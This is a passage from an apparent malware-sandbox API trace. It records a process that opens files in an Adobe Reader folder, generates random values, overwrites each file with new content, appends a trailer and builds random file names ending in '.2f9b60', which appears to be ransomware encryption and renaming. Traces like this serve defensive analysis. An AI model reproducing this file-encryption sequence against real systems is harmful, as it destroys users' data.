[0236.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40f0 [0236.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40f0) returned 1 [0236.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x422f40f0 [0236.428] sprintf (in: _Dest=0x422f40f0, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.428] sprintf (in: _Dest=0x422f40f2, _Format="%c%c" | out: _Dest="04") returned 2 [0236.428] sprintf (in: _Dest=0x422f40f4, _Format="%c%c" | out: _Dest="45") returned 2 [0236.428] sprintf (in: _Dest=0x422f40f6, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.428] sprintf (in: _Dest=0x422f40f8, _Format="%c%c" | out: _Dest="45") returned 2 [0236.428] sprintf (in: _Dest=0x422f40fa, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.428] sprintf (in: _Dest=0x422f40fc, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.428] sprintf (in: _Dest=0x422f40fe, _Format="%c%c" | out: _Dest="69") returned 2 [0236.428] sprintf (in: _Dest=0x422f4100, _Format="%c%c" | out: _Dest="40") returned 2 [0236.428] sprintf (in: _Dest=0x422f4102, _Format="%c%c" | out: _Dest="c5") returned 2 [0236.428] sprintf (in: _Dest=0x422f4104, _Format="%c%c" | out: _Dest="51") returned 2 [0236.428] sprintf (in: _Dest=0x422f4106, _Format="%c%c" | out: _Dest="da") returned 2 [0236.428] sprintf (in: _Dest=0x422f4108, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.428] sprintf (in: _Dest=0x422f410a, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.428] sprintf (in: _Dest=0x422f410c, _Format="%c%c" | out: _Dest="1e") returned 2 [0236.428] sprintf (in: _Dest=0x422f410e, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.429] RtlInitAnsiString (in: DestinationString=0x3beaf968, SourceString="b90445e045c8fa6940c551da6dad1ee3" | out: DestinationString="b90445e045c8fa6940c551da6dad1ee3") [0236.429] RtlAnsiStringToUnicodeString (in: DestinationString=0x3beaf938, SourceString="b90445e045c8fa6940c551da6dad1ee3", AllocateDestinationString=1 | out: DestinationString="b90445e045c8fa6940c551da6dad1ee3") returned 0x0 [0236.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61bf0 [0236.429] wcscat (in: _Dest=0x431cb260, _Source="b90445e0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b90445e0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b90445e0" [0236.429] wcscat (in: _Dest=0x431cb260, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b90445e0.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b90445e0.2f9b60" [0236.430] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b90445e0.2f9b60", NtPathName=0x3beaf910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b90445e0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x430e3320 Thread: id = 3909 os_tid = 0xc3c [0229.986] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css")) returned 0x20 [0230.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css", dwFileAttributes=0x20) returned 1 [0231.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2514 [0231.277] GetFileSizeEx (in: hFile=0x2514, lpFileSize=0x3bf3f900 | out: lpFileSize=0x3bf3f900*=11930) returned 1 [0231.277] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x2e96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.277] ReadFile (in: hFile=0x2514, lpBuffer=0x3bf3f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bf3f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3bf3f880*, lpNumberOfBytesRead=0x3bf3f8c8*=0x4, lpOverlapped=0x0) returned 1 [0231.363] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0231.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0231.364] NtQuerySystemTime (in: CurrentTime=0x3bf3f7c0 | out: CurrentTime=0x3bf3f7c0*=132462178353646000) returned 0x0 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x1da5515b [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x5554d17a [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x2c840645 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x15daa10c [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x6b98c961 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x5732b7e5 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x4f781723 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x7fc4a68 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x7aa4b28a [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x4635abab [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x179d37a2 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x39c33892 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x41e32663 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x23abcc5b [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0xbbb858c [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x132f2a1b [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x14dba19b [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x3be394ff [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x14bb881 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x5c48aacb [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x24fc9d5f [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x70460577 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x51bedd10 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x76a0ace8 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x41080517 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x21da51ad [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x4c857917 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x41e32663 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x319a6cd4 [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x23abcc5b [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x2927640a [0231.364] RtlRandomEx (in: Seed=0x3bf3f7b0 | out: Seed=0x3bf3f7b0) returned 0x5f11f629 [0231.371] ReadFile (in: hFile=0x2514, lpBuffer=0x42a3cae0, nNumberOfBytesToRead=0x2e9a, lpNumberOfBytesRead=0x3bf3f7b0, lpOverlapped=0x0 | out: lpBuffer=0x42a3cae0*, lpNumberOfBytesRead=0x3bf3f7b0*=0x2e9a, lpOverlapped=0x0) returned 1 [0231.429] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.429] WriteFile (in: hFile=0x2514, lpBuffer=0x42a2daa0*, nNumberOfBytesToWrite=0x2e9a, lpNumberOfBytesWritten=0x3bf3f7b4, lpOverlapped=0x0 | out: lpBuffer=0x42a2daa0*, lpNumberOfBytesWritten=0x3bf3f7b4*=0x2e9a, lpOverlapped=0x0) returned 1 [0234.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4030 [0234.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f40 [0234.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f40) returned 1 [0234.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a2daa0) returned 1 [0234.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a3cae0) returned 1 [0234.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb4e0) returned 1 [0234.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581a0) returned 1 [0234.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f6f40 [0234.708] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.708] WriteFile (in: hFile=0x2514, lpBuffer=0x431a9930*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bf3f8d0, lpOverlapped=0x0 | out: lpBuffer=0x431a9930*, lpNumberOfBytesWritten=0x3bf3f8d0*=0x102, lpOverlapped=0x0) returned 1 [0236.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0236.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202665a0 [0236.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202665a0) returned 1 [0236.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0236.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202665a0 [0236.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266570 [0236.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266570) returned 1 [0236.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0236.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20266570 [0236.532] sprintf (in: _Dest=0x20266570, _Format="%c%c" | out: _Dest="80") returned 2 [0236.532] sprintf (in: _Dest=0x20266572, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.532] sprintf (in: _Dest=0x20266574, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.532] sprintf (in: _Dest=0x20266576, _Format="%c%c" | out: _Dest="07") returned 2 [0236.532] sprintf (in: _Dest=0x20266578, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.532] sprintf (in: _Dest=0x2026657a, _Format="%c%c" | out: _Dest="05") returned 2 [0236.532] sprintf (in: _Dest=0x2026657c, _Format="%c%c" | out: _Dest="ba") returned 2 [0236.532] sprintf (in: _Dest=0x2026657e, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.532] sprintf (in: _Dest=0x20266580, _Format="%c%c" | out: _Dest="75") returned 2 [0236.532] sprintf (in: _Dest=0x20266582, _Format="%c%c" | out: _Dest="df") returned 2 [0236.532] sprintf (in: _Dest=0x20266584, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.532] sprintf (in: _Dest=0x20266586, _Format="%c%c" | out: _Dest="12") returned 2 [0236.532] sprintf (in: _Dest=0x20266588, _Format="%c%c" | out: _Dest="5c") returned 2 [0236.532] sprintf (in: _Dest=0x2026658a, _Format="%c%c" | out: _Dest="72") returned 2 [0236.532] sprintf (in: _Dest=0x2026658c, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.532] sprintf (in: _Dest=0x2026658e, _Format="%c%c" | out: _Dest="17") returned 2 [0236.532] RtlInitAnsiString (in: DestinationString=0x3bf3f948, SourceString="80f72e07ad05ba7f75dfc3125c726d17" | out: DestinationString="80f72e07ad05ba7f75dfc3125c726d17") [0236.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bf3f918, SourceString="80f72e07ad05ba7f75dfc3125c726d17", AllocateDestinationString=1 | out: DestinationString="80f72e07ad05ba7f75dfc3125c726d17") returned 0x0 [0236.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce62910 [0236.533] wcscat (in: _Dest=0x431cb6c0, _Source="80f72e07" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\80f72e07") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\80f72e07" [0236.533] wcscat (in: _Dest=0x431cb6c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\80f72e07.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\80f72e07.2f9b60" [0236.533] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\80f72e07.2f9b60", NtPathName=0x3bf3f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\80f72e07.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x430e3aa0 Thread: id = 3910 os_tid = 0x1c80 [0229.987] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif")) returned 0x20 [0230.884] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif", dwFileAttributes=0x20) returned 1 [0231.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32a0 [0231.073] GetFileSizeEx (in: hFile=0x32a0, lpFileSize=0x3771fc00 | out: lpFileSize=0x3771fc00*=806) returned 1 [0231.073] SetFilePointerEx (in: hFile=0x32a0, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.073] ReadFile (in: hFile=0x32a0, lpBuffer=0x3771fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3771fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3771fb80*, lpNumberOfBytesRead=0x3771fbc8*=0x4, lpOverlapped=0x0) returned 1 [0231.111] SetFilePointerEx (in: hFile=0x32a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0231.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0231.112] NtQuerySystemTime (in: CurrentTime=0x3771fac0 | out: CurrentTime=0x3771fac0*=132462178350994000) returned 0x0 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x676dd389 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x3432056c [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x4ff2b03d [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x1ad85892 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x6f5df534 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x2a478f0a [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x2e32ff9c [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x50c33173 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x3ff4f811 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x865836c [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x426a306f [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x2728840e [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x680058ef [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x207a58c1 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x770da975 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x3765c22d [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x534814c8 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x681d71fa [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x46425d82 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0xda83f55 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x2a67e017 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x33932af1 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x7d27af19 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0xbdf947c [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x681d71fa [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x6aad5eb4 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0xf4ee130 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x5fcd718e [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0xe655120 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x296b56d7 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x6bd9ec80 [0231.112] RtlRandomEx (in: Seed=0x3771fab0 | out: Seed=0x3771fab0) returned 0x2a478f0a [0231.119] ReadFile (in: hFile=0x32a0, lpBuffer=0x420ec5b0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x3771fab0, lpOverlapped=0x0 | out: lpBuffer=0x420ec5b0*, lpNumberOfBytesRead=0x3771fab0*=0x326, lpOverlapped=0x0) returned 1 [0231.119] SetFilePointerEx (in: hFile=0x32a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.119] WriteFile (in: hFile=0x32a0, lpBuffer=0x420ce530*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x3771fab4, lpOverlapped=0x0 | out: lpBuffer=0x420ce530*, lpNumberOfBytesWritten=0x3771fab4*=0x326, lpOverlapped=0x0) returned 1 [0239.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c100 [0239.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c0d0 [0239.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c0d0) returned 1 [0239.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ce530) returned 1 [0239.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ec5b0) returned 1 [0239.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0239.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0239.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42058ba0 [0239.271] SetFilePointerEx (in: hFile=0x32a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.271] WriteFile (in: hFile=0x32a0, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3771fbd0, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x3771fbd0*=0x11e, lpOverlapped=0x0) returned 1 [0242.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0242.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0242.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0242.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ade20 [0242.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0242.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611a0 [0242.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611a0) returned 1 [0242.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0242.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x43105d70 [0242.142] sprintf (in: _Dest=0x43105d70, _Format="%c%c" | out: _Dest="54") returned 2 [0242.142] sprintf (in: _Dest=0x43105d72, _Format="%c%c" | out: _Dest="7b") returned 2 [0242.142] sprintf (in: _Dest=0x43105d74, _Format="%c%c" | out: _Dest="83") returned 2 [0242.142] sprintf (in: _Dest=0x43105d76, _Format="%c%c" | out: _Dest="6e") returned 2 [0242.142] sprintf (in: _Dest=0x43105d78, _Format="%c%c" | out: _Dest="44") returned 2 [0242.142] sprintf (in: _Dest=0x43105d7a, _Format="%c%c" | out: _Dest="80") returned 2 [0242.142] sprintf (in: _Dest=0x43105d7c, _Format="%c%c" | out: _Dest="29") returned 2 [0242.142] sprintf (in: _Dest=0x43105d7e, _Format="%c%c" | out: _Dest="67") returned 2 [0242.142] sprintf (in: _Dest=0x43105d80, _Format="%c%c" | out: _Dest="d7") returned 2 [0242.142] sprintf (in: _Dest=0x43105d82, _Format="%c%c" | out: _Dest="9d") returned 2 [0242.142] sprintf (in: _Dest=0x43105d84, _Format="%c%c" | out: _Dest="85") returned 2 [0242.142] sprintf (in: _Dest=0x43105d86, _Format="%c%c" | out: _Dest="19") returned 2 [0242.142] sprintf (in: _Dest=0x43105d88, _Format="%c%c" | out: _Dest="b8") returned 2 [0242.142] sprintf (in: _Dest=0x43105d8a, _Format="%c%c" | out: _Dest="78") returned 2 [0242.142] sprintf (in: _Dest=0x43105d8c, _Format="%c%c" | out: _Dest="d7") returned 2 [0242.142] sprintf (in: _Dest=0x43105d8e, _Format="%c%c" | out: _Dest="45") returned 2 [0242.142] sprintf (in: _Dest=0x43105d90, _Format="%c%c" | out: _Dest="03") returned 2 [0242.142] sprintf (in: _Dest=0x43105d92, _Format="%c%c" | out: _Dest="80") returned 2 [0242.142] sprintf (in: _Dest=0x43105d94, _Format="%c%c" | out: _Dest="91") returned 2 [0242.142] sprintf (in: _Dest=0x43105d96, _Format="%c%c" | out: _Dest="c0") returned 2 [0242.142] sprintf (in: _Dest=0x43105d98, _Format="%c%c" | out: _Dest="68") returned 2 [0242.142] sprintf (in: _Dest=0x43105d9a, _Format="%c%c" | out: _Dest="79") returned 2 [0242.142] sprintf (in: _Dest=0x43105d9c, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.143] sprintf (in: _Dest=0x43105d9e, _Format="%c%c" | out: _Dest="b2") returned 2 [0242.143] sprintf (in: _Dest=0x43105da0, _Format="%c%c" | out: _Dest="da") returned 2 [0242.143] sprintf (in: _Dest=0x43105da2, _Format="%c%c" | out: _Dest="5a") returned 2 [0242.143] sprintf (in: _Dest=0x43105da4, _Format="%c%c" | out: _Dest="bd") returned 2 [0242.143] sprintf (in: _Dest=0x43105da6, _Format="%c%c" | out: _Dest="c3") returned 2 [0242.143] sprintf (in: _Dest=0x43105da8, _Format="%c%c" | out: _Dest="02") returned 2 [0242.143] sprintf (in: _Dest=0x43105daa, _Format="%c%c" | out: _Dest="87") returned 2 [0242.143] sprintf (in: _Dest=0x43105dac, _Format="%c%c" | out: _Dest="ee") returned 2 [0242.143] sprintf (in: _Dest=0x43105dae, _Format="%c%c" | out: _Dest="7e") returned 2 [0242.143] sprintf (in: _Dest=0x43105db0, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.143] sprintf (in: _Dest=0x43105db2, _Format="%c%c" | out: _Dest="96") returned 2 [0242.143] sprintf (in: _Dest=0x43105db4, _Format="%c%c" | out: _Dest="6d") returned 2 [0242.143] sprintf (in: _Dest=0x43105db6, _Format="%c%c" | out: _Dest="26") returned 2 [0242.143] sprintf (in: _Dest=0x43105db8, _Format="%c%c" | out: _Dest="3d") returned 2 [0242.143] sprintf (in: _Dest=0x43105dba, _Format="%c%c" | out: _Dest="6c") returned 2 [0242.143] sprintf (in: _Dest=0x43105dbc, _Format="%c%c" | out: _Dest="d3") returned 2 [0242.143] sprintf (in: _Dest=0x43105dbe, _Format="%c%c" | out: _Dest="17") returned 2 [0242.143] sprintf (in: _Dest=0x43105dc0, _Format="%c%c" | out: _Dest="ea") returned 2 [0242.143] sprintf (in: _Dest=0x43105dc2, _Format="%c%c" | out: _Dest="87") returned 2 [0242.143] sprintf (in: _Dest=0x43105dc4, _Format="%c%c" | out: _Dest="cb") returned 2 [0242.143] sprintf (in: 